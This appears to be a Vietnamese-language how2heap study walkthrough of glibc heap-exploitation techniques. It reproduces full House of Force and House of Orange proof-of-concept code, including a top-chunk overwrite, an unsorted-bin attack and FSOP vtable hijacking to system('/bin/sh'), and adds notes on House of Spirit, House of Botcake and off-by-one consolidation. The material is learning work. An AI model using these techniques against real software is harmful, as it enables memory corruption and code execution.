# How2Heap Walkthrough
# I. House of Force - Exploit Top chunk
## 1. Source code và các ràng buộc
- Decription : Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer
- Referrence: [how2heap : HouseOfForce](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
```c
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
int a ;
scanf("%d",&a);
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
// y tuong se dung HOF de overwrite top chunk va de malloc return 1 gia tri tuy y.
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
// su dung HOF de overwrite value in bss_var
fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");//cap phat 1 chunk
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2); //in ra dia chi cua metadata
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
// hien tai, heap gom 2 chunk : chunk(256) + top chunk
int real_size = malloc_usable_size(p1); //lay size cua chunk p1 -> real_size
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
// tao ra 1 vuln de overwrite top chunk
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); //in ra dia chi cua Top chunk
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
// overwrite Top chunk voi value rat lon -> malloc se khong goi den mmap
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));// in ra old_size cua Top_chunk
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; // overwrite Top_chunk
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));// in ra new_size cua Top_chunk
//------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
/* Bay gio, Top_chunk rat lon -> malloc se khong goi den mmap
-> dung malloc de cap phat 1 chunk den dia chi mong muon
-> va sau do cap phat 1 chunk tren vung nho do
*/
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
// dia chi chunk sau maloc = dia chi cua Top_chunk
void* ctr_chunk = malloc(100); //cap phat den vi tri muon overwrite
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!"); // overwrite target
fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
```
## 2. Go to debug
### 2.1 Build challenge
:::info
- Build Docker 16.04 (với libc 2.23) -> chạy vào docker rồi build source code
- Build : `gcc --no-pie chall.c -o chall`
:::
### 2.2 Debug
- Kĩ thuật này nhìn chung khá đơn giản, dễ hiểu nên chúng ta sẽ điểm qua cũng thứ quan trọng nhất.
#### Quan sát bố cục của chunk:
- Sau khi malloc lần 1 với size = 0x100

:::success
- **`chunk 1`** :
- size : 0x111
- address : 0x2294020
:::
- Set-up sao cho **`Top_chunk`** là 1 giá trị rất lớn
```c
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
```

:::info
- Điều này xuất phát từ cơ chế lấy chunk của hàm `malloc`
- hàm malloc sẽ lấy chunk từ `Top chunk `
- Khi kích thước của `Top chunk` không còn đủ để việc cấp phát -> OS sẽ sử dụng `mmap` để cấp phát bộ nhớ
- [malloc() call mmap()](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L2579)
- Việc overwrite top_chunk thành 1 số rất lớn ( 0xfffffffffffffff ) -> khiến cho `malloc` sẽ không gọi được tới `mmap`
:::
- Tính toán size để ở lần malloc kế tiếp có thể malloc được vùng muốn ghi vào
```c
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
```

-> Ở lần `malloc` tiếp, chúng ta sẽ có thể lấy chunk từ `fake top_chunk`
- malloc chunk (target muốn overwrite)
```c
void* ctr_chunk = malloc(100); //cap phat den vi tri muon overwrite
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
```


## 3. Tổng kết :
### 3.1 Ý tưởng
- Thay đổi top_chunk làm cho malloc() sẽ không gọi được đến mmap khi tổng kích thước các chunk đã vượt quá top_chunk ban đầu -> Khi đó các địa chỉ sẽ được cộng dần và sẽ ghi đè vào các vùng nhớ liền kề với heap.
### 3.2 Ứng dụng
- Với **`Relro`** partial hoặc Disable, hoàn toàn có thể malloc đến GOT để overwrite GOT
- Nói chung là modify được các vùng nhớ ghi được : con trỏ hàm, GOT, fini_array, ...
- Các dạng bài về Heap OverFlow
# II. House Of Orange - Exploit Top_chunk - FSOP
## 1. Source code và các ràng buộc
- Description: Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution
- Referrences: [How2heap-HouseOfOrange](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
`source code.c`
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/
/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int winner ( char *ptr);
int main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.
At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page
If the size requested is smaller than 0x21000, then the former is followed.
*/
char *p1, *p2;
size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/*
Firstly, lets allocate a chunk on the heap.
*/
p1 = malloc(0x400-16);
/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.
The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.
Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.
So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01
Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.
In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end
And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.
In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.
After the size of the Top chunk has been updated, this chunk gets freed.
In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end
In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free
Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end
*/
p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end
Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins
Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)
The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.
The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.
The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/
io_list_all = top[2] + 0x9a8;
/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.
When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.
Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.
Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/
top[3] = io_list_all - 0x10;
/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
memcpy( ( char *) top, "/bin/sh\x00", 8);
/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.
In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/
top[1] = 0x61;
/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813
We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/
FILE *fp = (FILE *) top;
/*
1. Set mode to 0: fp->_mode <= 0
*/
fp->_mode = 0; // top+0xc0
/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/
return 0;
}
int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}
```
## 2. Go to debug
- Trong kĩ thuật này mình debug trên phiên bản libc 2.23
- Ban đầu chúng ta sẽ malloc(0x400-16)

- Tiếp theo sẽ thay đổi `top_chunk` để chuẩn bị malloc 1 chunk > `size top_chunk`

### 2.1 :writing_hand: Overwrite top_chunk - Tại sao là 0x7f1 ???
- Điều làm chúng ta thắc mắc chính là size của `top_chunk` = 0x7f1 ?
- Đoạn này mình thử overwrite top_chunk = 0xc01(1 cái size khác) và xem kết quả :

:::danger
malloc.c:2392: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
:::
- Đọc source libc : [assert](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L2392)

#### :pushpin: Yêu cầu điều kiện :
:::info
Để hàm `assert()` không được gọi thì cần thỏa mãn 1 trong 2 điều kiện
:::
:point_right: TH1 : `old_top == initial_top(av) && old_size == 0`
- Ta có : old_size = chunksize (old_top)
-> Điều kiện này luôn sai
:point_right: TH2 : `((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)`
- prev_inuse bật (=1)
- MINSIZE = 0x10
- ((unsigned long) old_end & (pagesize - 1)) == 0)) ------> old_end chia hêt 0x1000
- old_end = (char *) (chunk_at_offset (old_top, old_size));
- [chunk_at_offset](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1313) : `#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))`

#### :dart: Tổng kêt điều kiện :
:::success
- Bit prev_inuse = 1
- Size của top_chunk + địa chỉ top_chunk chia hêt 0x1000
- size >= 0x10
:::
#### put into unsorted bin
- Sau khi đã thỏa mãn các điều kiện, chương trình sẽ gọi [int_free()](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L2440) để đưa top_chunk cũ vào unsorted bin

### 2.2 :writing_hand: Heap overflow exploit unsortedbin
#### Main_arena
- Trước khi đến với phần tiếp theo để liên kết kiến thức thì chung ta sẽ tìm hiểu 1 kiến thức cực kì quan trọng về Heap chinh là `main_arena`
- Heap đưa struct [main_arena](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1761) vào ngay trong bộ nhớ tiến trình. Đây là struct có kiểu [malloc_state](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686) và chứa các trường sau ( trích từ glibc-2.23/malloc/malloc.c ):
```c
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
```
```c
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
##### :sweat_drops: mutex_t mutex;
- là 1 số nguyên + glibc dùng để bảo vệ arena khỏi xung đột các thread
##### :sweat_drops: int flags;
- 1 số nguyên mà main_arena dùng để đánh dấu chinh nó hoặc gán các thuộc tính
##### :sweat_drops: mfastbinptr fastbinsY[NFASTBINS]
- struct : [mfastbinptr](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1597) + [malloc_chunk](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1111)
- là 1 con trỏ tới fastbin
##### :sweat_drops: mchunkptr top + last_remainder + bins[NBINS * 2 - 2]
- struct : [mchunkptr](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1051)
- `mchunkptr top`: Đây là con trỏ trỏ tới chunk trên cùng của heap
- `mchunkptr bins`: Đây là một con trỏ trỏ tới phần đầu của các unsorted bins
- `unsigned int binmap`: Đây là một danh sách các chỉ mục cho tất cả các bins, chỉ ra bin nào đang trống
##### :eyes: main_arena trong gdb
- Khi 1 chunk đưa vao `unsorted bin` -> sẽ lưu địa chỉ của main_arena

- Địa chỉ được lưu ở ubin chính là địa chỉ của con trỏ `*top` trong lưu (chính là địa chỉ `top_chunk` hiện tại)


- Kích thước của `heap` cũng được mở rộng :



##### :eyes: Unsortbin attack (HowtoHeap)
- Tuy không phải là kĩ thuật tổ quát hay duy nhất để thực hiện House of Orange nhưng nếu HowtoHeap đã gợi ý thì học luôn vậy. Đâm lao thì theo lao thôi :))
- [Unsortbin attack](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/unsorted_bin_attack.c)
- Dựa trên kết quả từ [Ubin Attack](https://hackmd.io/BsWCXE4rQN-wYTepjJbnvw?view#III-UnsortedBin-Attack)
- `Trước`


- `Sau`

### 2.3 :writing_hand: From `_IO_flush_all_lockp` to FSOP
- Kĩ thuật này được đề cập trong [FSOP-Angel Boy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf)
- Khi malloc gặp lỗi sẽ call `malloc_printerr` -> ... -> `IO_flush _all_lockp` (là nơi trực tiếp bị khai thác)

#### `_IO_flush_all_lockp` hoạt động như thế nào ?
- Theo AngelBoy,

- [_IO_flush_all_lockp.c](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L772)
```clike.
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...
```
:::info
- Dựa trên source code thì ta có thể hàm này sẽ duyệt qua các IO_FILE và sau đó call `_IO_OVERFLOW (fp, EOF) == EOF)` (đây là 1 con trỏ hàm trong vtable)
:::
#### Target FSOP
- Sau khi hiểu được workflow, ta có được ý tưởng của kĩ thuật này như sau :

:::success
Ta có thể kĩ thuật này sẽ thay đổi `chain` của IO_FILE + `vtable` để khi call `_IO_OVERFLOW` sẽ call hàm mà chúng ta mong muốn
:::
# III. UnsortedBin Attack
- Trong quá trình làm kĩ thuật House of Orange mà HowtoHeap đê cập nên nó sẽ bổ trợ của HOO .
- Kĩ thuật xuất phát từ cách dùng lại chunk ở trong UnsortedBin
- Bố trí của Unsortbin chính là 1 DSLK đôi

:::success
- Sau khi overwrite bk của chunk trong ubin -> vị trí tại `(bk+0x10) = fd`
:::
- Trước


- Sau :


# IV. House Of Tangerine
- Là 1 phiên bản mới hơn so với House Of Orange
- Ý tưởng : overwrite top_chunk thành size phù hợp với fastbin hoặc tcache sau đó đưa top_chunk vào bin.
-> House này thường sẽ có Heap Overflow
-> Ngoài ra còn có thể gây lỗi Use After Free/Double Free
# V. Heap consolidation - Off by one


- Byte tràn là **`NULL`**. Khi kích thước là 0x100, việc tràn byte NULL sẽ làm cho **`prev_in_usebit`** bị xóa, do đó khối trước đó được coi là **`khối trống`**. (1) Lúc này bạn có thể chọn sử dụng phương thức hủy liên kết (xem phần hủy liên kết) để xử lý. (2) Ngoài ra, khi trường **`prev_size`** được bật, bạn có thể **`giả mạo prev_size`**, gây ra **`sự chồng chéo`** giữa các khối. Chìa khóa của phương pháp này là việc hủy liên kết không kiểm tra xem khối cuối cùng của khối được tìm thấy bởi prev_size(về mặt lý thuyết là khối hiện chưa được liên kết) có bằng kích thước khối hiện đang được hủy liên kết hay không.

# VI. House of spirit - Fast bin bypass
- Mục tiêu : fake địa chỉ stack, bss, ... vào fastbin để ghi vào đó tùy ý.
## note
- `long fake_chunks[10] __attribute__ ((aligned (0x10))); `
- long : 64bit
- __attribute__ ((aligned (0x10))) : Địa chỉ bắt đầu của mảng `fake_chunks` sẽ được căn thẳng tới biên có bội số của 16 byte.
- `fake_chunks[9] = 0x1234` : mục tiêu đoạn này là bypass qua check size của next chunk của fastbin
## ý tưởng
- Bản chất cảu skill này là thực hiện fake chunk trên fast bin sao cho chuẩn với các bài test của glibc
### misaligned_chunk

- Kiểm tra xem phần địa chỉ `userdata` có chia hết cho 16 hay không
- Lí do cho việc : `__attribute__ ((aligned (0x10)));`
### next chunk
#### minsize

- size của next chunk phải có kích thức >= 0x20 (với 64bit)
- Ở phần tính toán `next chunk` thì dựa vào `address + size`
#### maxsize

- max_size ≈ 128 KB -> nói chung fake bé bé thôi

# VII. House Of Botcake (double free -> tcache to stack)
- **Target : fake chunk đến địa chỉ tùy ý (stack, libc,...) dựa trên double free**
- Ý tưởng :
- Lấp đầy `tcache` (7 chunk) -> đưa chunk vào unsorted -> sau sẽ tận dụng để gộp chunk trong unsorted
- Đưa 1 chunk vào unsorted -> có thể lấy libc qua UAF, chuẩn bị gộp chunk

- free `chunk c` để b+c gộp lại -> sau này malloc(0x100+0x100) -> control được cả chunk c

- lấy `chunk a` khỏi tcache bằng malloc(0x100) -> tcache còn dư 1 vị trí
- free chunk c (lỗi double free) -> chunk c sẽ nằm ở đỉnh tcache
- control chunk c (control luôn tcache) bằng malloc(0x100+0x100) thì sẽ lấy luôn cả chunk b+c
